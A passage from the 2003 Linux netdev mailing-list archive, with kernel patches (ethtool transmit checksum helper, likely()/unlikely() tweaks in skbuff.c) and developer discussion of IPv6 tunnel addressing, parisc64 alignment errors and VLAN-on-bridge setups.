data) -{ - if (data) - dev->features |= NETIF_F_IP_CSUM; - else - dev->features &= ~NETIF_F_IP_CSUM; - - return 0; -} - static void cp_get_regs(struct net_device *dev, struct ethtool_regs *regs, void *p) { diff -Nru a/include/linux/ethtool.h b/include/linux/ethtool.h --- a/include/linux/ethtool.h Mon Sep 1 20:32:14 2003 +++ b/include/linux/ethtool.h Mon Sep 1 20:32:14 2003 @@ -255,6 +255,7 @@ /* Some generic methods drivers may use in their ethtool_ops */ u32 ethtool_op_get_link(struct net_device *dev); u32 ethtool_op_get_tx_csum(struct net_device *dev); +int ethtool_op_set_tx_csum(struct net_device *dev, u32 data); u32 ethtool_op_get_sg(struct net_device *dev); int ethtool_op_set_sg(struct net_device *dev, u32 data); diff -Nru a/net/core/ethtool.c b/net/core/ethtool.c --- a/net/core/ethtool.c Mon Sep 1 20:32:14 2003 +++ b/net/core/ethtool.c Mon Sep 1 20:32:14 2003 @@ -31,6 +31,16 @@ return (dev->features & NETIF_F_IP_CSUM) != 0; } +int ethtool_op_set_tx_csum(struct net_device *dev, u32 data) +{ + if (data) + dev->features |= NETIF_F_IP_CSUM; + else + dev->features &= ~NETIF_F_IP_CSUM; + + return 0; +} + u32 ethtool_op_get_sg(struct net_device *dev) { return (dev->features & NETIF_F_SG) != 0; diff -Nru a/net/netsyms.c b/net/netsyms.c --- a/net/netsyms.c Mon Sep 1 20:32:14 2003 +++ b/net/netsyms.c Mon Sep 1 20:32:14 2003 @@ -617,6 +617,7 @@ /* ethtool.c */ EXPORT_SYMBOL(ethtool_op_get_link); EXPORT_SYMBOL(ethtool_op_get_tx_csum); +EXPORT_SYMBOL(ethtool_op_set_tx_csum); EXPORT_SYMBOL(ethtool_op_get_sg); EXPORT_SYMBOL(ethtool_op_set_sg); From mitch@sfgoth.com Tue Sep 2 01:08:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 01:09:14 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8288wWZ011068 for ; Tue, 2 Sep 2003 01:08:59 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h828GQkV052388; Tue, 2 Sep 2003 01:16:26 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h828GPjv052387; Tue, 2 Sep 2003 01:16:25 -0700 (PDT) (envelope-from mitch) Date: Tue, 2 Sep 2003 01:16:25 -0700 From: Mitchell Blank Jr To: netdev@oss.sgi.com Cc: "David S. Miller" Subject: [PATCH] small skbuff.[ch] tweaks Message-ID: <20030902081625.GA52298@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 5490 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev This patch: o Makes a couple inline functions in take const arguments as appropriate o Obvious unlikely()/likely()/BUG_ON() conversions Patch is versus 2.6.0-test4. -Mitch --- linux-2.6.0-test4-VIRGIN/include/linux/skbuff.h 2003-08-10 05:28:41.000000000 -0700 +++ linux-2.6.0-test4mnb1/include/linux/skbuff.h 2003-09-01 14:08:54.000000000 -0700 @@ -306,7 +306,7 @@ * * Returns true if the queue is empty, false otherwise. */ -static inline int skb_queue_empty(struct sk_buff_head *list) +static inline int skb_queue_empty(const struct sk_buff_head *list) { return list->next == (struct sk_buff *)list; } @@ -475,7 +475,7 @@ * * Return the length of an &sk_buff queue. */ -static inline __u32 skb_queue_len(struct sk_buff_head *list_) +static inline __u32 skb_queue_len(const struct sk_buff_head *list_) { return list_->qlen; } @@ -1050,7 +1050,7 @@ int gfp_mask) { struct sk_buff *skb = alloc_skb(length + 16, gfp_mask); - if (skb) + if (likely(skb)) skb_reserve(skb, 16); return skb; } --- linux-2.6.0-test4-VIRGIN/net/core/skbuff.c 2003-08-22 13:47:28.000000000 -0700 +++ linux-2.6.0-test4mnb1/net/core/skbuff.c 2003-09-01 14:00:37.000000000 -0700 @@ -129,14 +129,17 @@ /* Get the HEAD */ skb = kmem_cache_alloc(skbuff_head_cache, gfp_mask & ~__GFP_DMA); - if (!skb) + if (unlikely(!skb)) goto out; /* Get the DATA. Size must match skb_add_mtu(). */ size = SKB_DATA_ALIGN(size); data = kmalloc(size + sizeof(struct skb_shared_info), gfp_mask); - if (!data) - goto nodata; + if (unlikely(!data)) { + kmem_cache_free(skbuff_head_cache, skb); + skb = NULL; + goto out; + } memset(skb, 0, offsetof(struct sk_buff, truesize)); skb->truesize = size + sizeof(struct sk_buff); @@ -153,10 +156,6 @@ skb_shinfo(skb)->frag_list = NULL; out: return skb; -nodata: - kmem_cache_free(skbuff_head_cache, skb); - skb = NULL; - goto out; } @@ -218,7 +217,7 @@ void __kfree_skb(struct sk_buff *skb) { - if (skb->list) { + if (unlikely(skb->list)) { printk(KERN_WARNING "Warning: kfree_skb passed an skb still " "on a list (from %p).\n", NET_CALLER(skb)); BUG(); @@ -229,7 +228,7 @@ secpath_put(skb->sp); #endif if(skb->destructor) { - if (in_irq()) + if (unlikely(in_irq())) printk(KERN_WARNING "Warning: kfree_skb on " "hard IRQ %p\n", NET_CALLER(skb)); skb->destructor(skb); @@ -261,7 +260,7 @@ { struct sk_buff *n = kmem_cache_alloc(skbuff_head_cache, gfp_mask); - if (!n) + if (unlikely(!n)) return NULL; #define C(x) n->x = skb->x @@ -395,7 +394,7 @@ */ struct sk_buff *n = alloc_skb(skb->end - skb->head + skb->data_len, gfp_mask); - if (!n) + if (unlikely(!n)) return NULL; /* Set the data pointer */ @@ -405,7 +404,7 @@ n->csum = skb->csum; n->ip_summed = skb->ip_summed; - if (skb_copy_bits(skb, -headerlen, n->head, headerlen + skb->len)) + if (unlikely(skb_copy_bits(skb, -headerlen, n->head, headerlen + skb->len))) BUG(); copy_skb_header(n, skb); @@ -433,7 +432,7 @@ */ struct sk_buff *n = alloc_skb(skb->end - skb->head, gfp_mask); - if (!n) + if (unlikely(!n)) goto out; /* Set the data pointer */ @@ -493,14 +492,13 @@ int size = nhead + (skb->end - skb->head) + ntail; long off; - if (skb_shared(skb)) - BUG(); + BUG_ON(skb_shared(skb)); size = SKB_DATA_ALIGN(size); data = kmalloc(size + sizeof(struct skb_shared_info), gfp_mask); - if (!data) - goto nodata; + if (unlikely(!data)) + return -ENOMEM; /* Copy only real data... and, alas, header. This should be * optimized for the cases when header is void. */ @@ -527,9 +525,6 @@ skb->cloned = 0; atomic_set(&skb_shinfo(skb)->dataref, 1); return 0; - -nodata: - return -ENOMEM; } /* Make private copy of skb with writable head and some headroom */ @@ -543,8 +538,8 @@ skb2 = pskb_copy(skb, GFP_ATOMIC); else { skb2 = skb_clone(skb, GFP_ATOMIC); - if (skb2 && pskb_expand_head(skb2, SKB_DATA_ALIGN(delta), 0, - GFP_ATOMIC)) { + if (unlikely(skb2 && pskb_expand_head(skb2, + SKB_DATA_ALIGN(delta), 0, GFP_ATOMIC))) { kfree_skb(skb2); skb2 = NULL; } @@ -582,7 +577,7 @@ */ struct sk_buff *n = alloc_skb(newheadroom + skb->len + newtailroom, gfp_mask); - if (!n) + if (unlikely(!n)) return NULL; skb_reserve(n, newheadroom); @@ -591,7 +586,7 @@ skb_put(n, skb->len); /* Copy the data only. */ - if (skb_copy_bits(skb, 0, n->data, skb->len)) + if (unlikely(skb_copy_bits(skb, 0, n->data, skb->len))) BUG(); copy_skb_header(n, skb); @@ -625,7 +620,7 @@ nskb = skb_copy_expand(skb, skb_headroom(skb), skb_tailroom(skb) + pad, GFP_ATOMIC); kfree_skb(skb); - if (nskb) + if (likely(nskb)) memset(nskb->data+nskb->len, 0, pad); return nskb; } @@ -645,9 +640,8 @@ int end = offset + skb_shinfo(skb)->frags[i].size; if (end > len) { if (skb_cloned(skb)) { - if (!realloc) - BUG(); - if (pskb_expand_head(skb, 0, 0, GFP_ATOMIC)) + BUG_ON(!realloc); + if (unlikely(pskb_expand_head(skb, 0, 0, GFP_ATOMIC))) return -ENOMEM; } if (len <= offset) { @@ -713,12 +707,12 @@ int i, k, eat = (skb->tail + delta) - skb->end; if (eat > 0 || skb_cloned(skb)) { - if (pskb_expand_head(skb, 0, eat > 0 ? eat + 128 : 0, - GFP_ATOMIC)) + if (unlikely(pskb_expand_head(skb, 0, eat > 0 ? eat + 128 : 0, + GFP_ATOMIC))) return NULL; } - if (skb_copy_bits(skb, skb_headlen(skb), skb->tail, delta)) + if (unlikely(skb_copy_bits(skb, skb_headlen(skb), skb->tail, delta))) BUG(); /* Optimization: no fragments, no reasons to preestimate @@ -748,8 +742,7 @@ struct sk_buff *insp = NULL; do { - if (!list) - BUG(); + BUG_ON(!list); if (list->len <= eat) { /* Eaten as whole. */ @@ -762,7 +755,7 @@ if (skb_shared(list)) { /* Sucks! We need to fork list. :-( */ clone = skb_clone(list, GFP_ATOMIC); - if (!clone) + if (unlikely(!clone)) return NULL; insp = list->next; list = clone; @@ -771,7 +764,7 @@ * problems. */ insp = list; } - if (!pskb_pull(list, eat)) { + if (unlikely(!pskb_pull(list, eat))) { if (clone) kfree_skb(clone); return NULL; @@ -825,7 +818,7 @@ int i, copy; int start = skb_headlen(skb); - if (offset > (int)skb->len - len) + if (unlikely(offset > (int)skb->len - len)) goto fault; /* Copy header. */ @@ -877,8 +870,8 @@ if ((copy = end - offset) > 0) { if (copy > len) copy = len; - if (skb_copy_bits(list, offset - start, - to, copy)) + if (unlikely(skb_copy_bits(list, offset - start, + to, copy))) goto fault; if ((len -= copy) == 0) return 0; @@ -888,7 +881,7 @@ start = end; } } - if (!len) + if (likely(!len)) return 0; fault: @@ -965,8 +958,7 @@ start = end; } } - if (len) - BUG(); + BUG_ON(len); return csum; } @@ -1048,8 +1040,7 @@ start = end; } } - if (len) - BUG(); + BUG_ON(len); return csum; } @@ -1063,8 +1054,7 @@ else csstart = skb_headlen(skb); - if (csstart > skb_headlen(skb)) - BUG(); + BUG_ON(csstart > skb_headlen(skb)); memcpy(to, skb->data, csstart); From mitch@sfgoth.com Tue Sep 2 02:03:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 02:03:35 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8293UWZ028334 for ; Tue, 2 Sep 2003 02:03:30 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h829B0kV053662; Tue, 2 Sep 2003 02:11:00 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h829AxCV053661; Tue, 2 Sep 2003 02:10:59 -0700 (PDT) (envelope-from mitch) Date: Tue, 2 Sep 2003 02:10:59 -0700 From: Mitchell Blank Jr To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] small skbuff.[ch] tweaks Message-ID: <20030902091059.GA53570@gaz.sfgoth.com> References: <20030902081625.GA52298@gaz.sfgoth.com> <20030902105833.04778449.ak@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030902105833.04778449.ak@suse.de> User-Agent: Mutt/1.4.1i X-archive-position: 5491 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Andi Kleen wrote: > Both unlikely(!ptr) and likely(ptr) are not needed because gcc assumes this > by default Is there any disadvantage to stating it explicitly? -Mitch From ak@suse.de Tue Sep 2 02:04:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 02:05:03 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8294TWZ028639 for ; Tue, 2 Sep 2003 02:04:29 -0700 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 095F91599B95; Tue, 2 Sep 2003 11:04:24 +0200 (CEST) Date: Tue, 2 Sep 2003 11:04:23 +0200 From: Andi Kleen To: Mitchell Blank Jr Cc: Andi Kleen , netdev@oss.sgi.com Subject: Re: [PATCH] small skbuff.[ch] tweaks Message-ID: <20030902090423.GD3889@wotan.suse.de> References: <20030902081625.GA52298@gaz.sfgoth.com> <20030902105833.04778449.ak@suse.de> <20030902091059.GA53570@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030902091059.GA53570@gaz.sfgoth.com> X-archive-position: 5492 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Tue, Sep 02, 2003 at 02:10:59AM -0700, Mitchell Blank Jr wrote: > Andi Kleen wrote: > > Both unlikely(!ptr) and likely(ptr) are not needed because gcc assumes this > > by default > > Is there any disadvantage to stating it explicitly? It makes the code much uglier. -Andi From ak@suse.de Tue Sep 2 02:20:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 02:20:57 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h829KdWZ000733 for ; Tue, 2 Sep 2003 02:20:40 -0700 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id BC0E51599AF6; Tue, 2 Sep 2003 10:58:35 +0200 (CEST) Date: Tue, 2 Sep 2003 10:58:33 +0200 From: Andi Kleen To: Mitchell Blank Jr Cc: netdev@oss.sgi.com, davem@redhat.com Subject: Re: [PATCH] small skbuff.[ch] tweaks Message-Id: <20030902105833.04778449.ak@suse.de> In-Reply-To: <20030902081625.GA52298@gaz.sfgoth.com> References: <20030902081625.GA52298@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.8.9 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5493 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Tue, 2 Sep 2003 01:16:25 -0700 Mitchell Blank Jr wrote: > --- linux-2.6.0-test4-VIRGIN/net/core/skbuff.c 2003-08-22 13:47:28.000000000 -0700 > +++ linux-2.6.0-test4mnb1/net/core/skbuff.c 2003-09-01 14:00:37.000000000 -0700 > @@ -129,14 +129,17 @@ > /* Get the HEAD */ > skb = kmem_cache_alloc(skbuff_head_cache, > gfp_mask & ~__GFP_DMA); > - if (!skb) > + if (unlikely(!skb)) > goto out; > > /* Get the DATA. Size must match skb_add_mtu(). */ > size = SKB_DATA_ALIGN(size); > data = kmalloc(size + sizeof(struct skb_shared_info), gfp_mask); > - if (!data) > - goto nodata; > + if (unlikely(!data)) { Both unlikely(!ptr) and likely(ptr) are not needed because gcc assumes this by default -Andi From mitch@sfgoth.com Tue Sep 2 02:42:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 02:42:16 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h829gCWZ006225 for ; Tue, 2 Sep 2003 02:42:12 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h829ngkV054427; Tue, 2 Sep 2003 02:49:42 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h829ngjb054426; Tue, 2 Sep 2003 02:49:42 -0700 (PDT) (envelope-from mitch) Date: Tue, 2 Sep 2003 02:49:42 -0700 From: Mitchell Blank Jr To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] small skbuff.[ch] tweaks Message-ID: <20030902094942.GB53570@gaz.sfgoth.com> References: <20030902081625.GA52298@gaz.sfgoth.com> <20030902105833.04778449.ak@suse.de> <20030902091059.GA53570@gaz.sfgoth.com> <20030902090423.GD3889@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030902090423.GD3889@wotan.suse.de> User-Agent: Mutt/1.4.1i X-archive-position: 5494 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Andi Kleen wrote: > > > Both unlikely(!ptr) and likely(ptr) are not needed because gcc assumes this > > > by default > > > > Is there any disadvantage to stating it explicitly? > > It makes the code much uglier. Well I guess it's a matter of taste then. Personally I like unlikely()/ likely() a lot, even from just a readability standpoint. I think it provides a nice hint to the structure of code while reading it ("ok, we're just handling an error case here, the meat of the code is below") If anything they help comment the code. I certainly think they're preferable to "this is an unlikely error condition but we shouldn't mark it as such because of some gcc trivia lets us save a few characters of typing" However if the consensus is that those unlikely()'s should be removed I'll be happy to spin a new patch with those removed. -Mitch From Ronnie_vaisman@radwin.com Tue Sep 2 03:24:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 03:24:36 -0700 (PDT) Received: from mx100.qos.net.il (mx100.qos.net.il [80.74.96.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82AO0WZ010082 for ; Tue, 2 Sep 2003 03:24:01 -0700 Received: from check_mail.radwin.ltd.com (access.radwin.com [80.74.102.194]) by mx100.qos.net.il (8.11.6/8.11.6) with ESMTP id h82AHiG24153 for ; Tue, 2 Sep 2003 13:17:44 +0300 Received: by check_mail.radwin.ltd.com with XWall v3.27 ; Tue, 2 Sep 2003 13:25:58 +0200 From: Ronnie Vaisman To: "netdev@oss.sgi.com" Subject: GUI linux kerne/driver modulel debugger. Date: Tue, 2 Sep 2003 13:21:20 +0200 X-Assembled-By: XWall v3.27 X-Mailer: Internet Mail Service (5.5.2653.19) Message-ID: <116CA223EAAED2119F050090272E3D7F063F88BC@EXCHANGE> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h82AO0WZ010082 X-archive-position: 5495 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Ronnie_vaisman@radwin.com Precedence: bulk X-list: netdev Hi all, I am starting to work with Linux. I would like to debug some device driver module of linux. My questions are Which free GUI debuggers may be used? Can I use DDD for debug module in linux? Is only remote debug mode should be used? I will happy to get any aditional information about this issues. Thanks in advance. Regards, Ronnie Vaisman Regards, Ronnie Vaisman RadWin LTD. 34 Habarzel st., Tel Aviv 69710 Israel +972-3-645-5403 (Direct) +972-3-765-7535(Fax) email Ronnie_Vaisman@radwin.com web ************************************************************************************************** Privacy Notice: The information contained in this transmittal, including any attachments hereto, are confidential and privileged, and intended solely for the specified addressee(s). If you are not the intended addressee, or if you receive this message by error, please notify the sender and delete this information from your computer. Moreover, the recipient(s) may not disclose, forward, or copy this e-mail or attachments, or any portion thereof, or permit the use of this information, by anyone not entitled to it, or in a way that may be damaging to the sender. ************************************************************************************************** From davem@pizda.ninka.net Tue Sep 2 04:46:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 04:46:33 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82Bk0WZ020197 for ; Tue, 2 Sep 2003 04:46:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id EAA11860; Tue, 2 Sep 2003 04:35:34 -0700 Date: Tue, 2 Sep 2003 04:35:34 -0700 From: "David S. Miller" To: Ville Nuorvala Cc: pekkas@netcore.fi, yoshfuji@linux-ipv6.org, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels Message-Id: <20030902043534.05fc6586.davem@redhat.com> In-Reply-To: References: <20030901035134.2585aa79.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5496 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 17:24:42 +0300 (EEST) Ville Nuorvala wrote: > Ok, this incremental patch to my previous addrconf.c patch generates a > link-local address to the IPv6 tunnel device. It first tries to inherit > the EUI64 identifier of some other device and if this fails, uses a > random interface id. Yoshfuji, do you mind if I apply his patch 5 and "5/5+1"? From acme@conectiva.com.br Tue Sep 2 07:31:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 07:31:41 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82EV6WZ001244 for ; Tue, 2 Sep 2003 07:31:07 -0700 Received: from [200.181.138.124] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 19uCJA-00019P-00; Tue, 02 Sep 2003 11:39:01 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id D469AE723; Tue, 2 Sep 2003 14:30:51 +0000 (UTC) Date: Tue, 2 Sep 2003 11:30:50 -0300 From: Arnaldo Carvalho de Melo To: netfilter-devel@lists.netfilter.org Cc: Linux Networking Development Mailing List Subject: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030902143050.GC3398@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 5497 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev The 1.786.1.54 changeset (i.e. the initial ipt_physdev.c one 8) created this alignment problems on parisc64: tmp.stdout.allegro.31506.s: Assembler messages: tmp.stdout.allegro.31506.s:97: Error: Field not properly aligned [8] (18). tmp.stdout.allegro.31506.s:97: Error: Invalid operands tmp.stdout.allegro.31506.s:125: Error: Field not properly aligned [8] (34). tmp.stdout.allegro.31506.s:125: Error: Invalid operands tmp.stdout.allegro.31506.s:129: Error: Field not properly aligned [8] (50). tmp.stdout.allegro.31506.s:129: Error: Invalid operands I got this nailed to the match function, on these lines: for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { ret |= (((const unsigned long *)indev)[i] ^ ((const unsigned long *)info->physindev)[i]) & ((const unsigned long *)info->in_mask)[i]; } and for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { ret |= (((const unsigned long *)outdev)[i] ^ ((const unsigned long *)info->physoutdev)[i]) & ((const unsigned long *)info->out_mask)[i]; } Reading specs from /opt/palinux/lib/gcc-lib/hppa64-linux/3.0.4/specs Configured with: ../../gcc-3.0-3.0.4ds3/src/configure --host=hppa-linux --build=hppa-linux --target=hppa64-linux --disable-shared --disable-nls --enable-languages=c --prefix=/opt/palinux Thread model: single gcc version 3.0.4 acme@allegro:~/bk/scsi-2.6$ - Arnaldo From pekkas@netcore.fi Tue Sep 2 07:42:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 07:43:14 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82EgbWZ003386 for ; Tue, 2 Sep 2003 07:42:39 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h82EeGb04301; Tue, 2 Sep 2003 17:40:16 +0300 Date: Tue, 2 Sep 2003 17:40:15 +0300 (EEST) From: Pekka Savola To: Ville Nuorvala cc: "David S. Miller" , , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5498 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Mon, 1 Sep 2003, Ville Nuorvala wrote: > On Mon, 1 Sep 2003, David S. Miller wrote: > > On Mon, 1 Sep 2003 13:48:44 +0300 (EEST) > > Pekka Savola wrote: > > > > > Well, link-local addresses are used e.g. by routing protocols and such, so > > > having one is probably rather important.. > > > > Ok. > > > > > FWIW, on FreeBSD platform they take the link-local address of the first > > > physical interface, and give the exact same link-local address on all of > > > the tunnels, disambiuating them with the scope identifier. Seems like an > > > OK appaorach too, and guarantees (to the degree of unique MAC addresses) > > > that the addresses of the endpoints do not clash. > > > > Interesting approach... I'm not particularly picky about how this > > uniqueness issue is solved. > > Ok, this incremental patch to my previous addrconf.c patch generates a > link-local address to the IPv6 tunnel device. It first tries to inherit > the EUI64 identifier of some other device and if this fails, uses a > random interface id. Two comments: + /* try to inherit EUI64 from another device */ + for (dev = dev_base; dev; dev = dev->next) { + if (!ipv6_generate_eui64(addr.s6_addr + 8, dev)) { + addrconf_add_linklocal(idev, &addr); + return; + ==> does this really inherit _EUI64_, *or* MAC address (or something like it) to derive an EUI64? Note that there is a significant difference when you've configured manually e.g. 3ffe:ffff:f00:ba::1 on a device, and the case when you've auto-configured the interface identifier from the MAC address of the device. The latter is probably always unique. The former is not necessarily sufficiently unique (but better than nothing, of course). +#ifdef CONFIG_IPV6_PRIVACY + /* else try to generate a random identifier */ + if (!__ipv6_regen_rndid(idev)) { + memcpy(addr.s6_addr + 8, idev->rndid, 8); + addrconf_add_linklocal(idev, &addr); + return; + ==> my question is: as the former method to steal an EUI64 should succeed pretty much always, is it useful to add basically dead code which never gets executed here? I certainly can't think of any scenario where you'd have no interface to steal the MAC address/EUI64 from and you'd have to fall back to random identifiers? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From shemminger@osdl.org Tue Sep 2 08:28:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 08:29:12 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82FSaWZ008584 for ; Tue, 2 Sep 2003 08:28:38 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h82FSJo24319; Tue, 2 Sep 2003 08:28:19 -0700 Date: Tue, 2 Sep 2003 08:28:07 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: Bart De Schuymer , greearb@candelatech.com, netdev@oss.sgi.com Subject: Re: [PATCH/RFC] disallow vlan devices on top of a logical bridge device Message-Id: <20030902082807.0e18fe76.shemminger@osdl.org> In-Reply-To: <20030830203043.0eb1a660.davem@redhat.com> References: <200308301504.03241.bdschuym@pandora.be> <20030830203043.0eb1a660.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5499 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Sat, 30 Aug 2003 20:30:43 -0700 "David S. Miller" wrote: > On Sat, 30 Aug 2003 15:04:03 +0200 > Bart De Schuymer wrote: > > > The patch below disables making vlan devices on top of bridge > > devices, f.e. br0.12 would be impossible. > > I don't think disallowing this merely for the sake of > implementation convenience is such a good idea. And > from other people's comments, such setups might even > be useful. Bridge of a VLAN makes sense and is done. VLAN of a bridge might be done by someone for redundancy or testing. Don't apply the patch, can't see the harm in allowing either case. From akpm@osdl.org Tue Sep 2 09:54:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 09:54:58 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82GsPWZ014728 for ; Tue, 2 Sep 2003 09:54:26 -0700 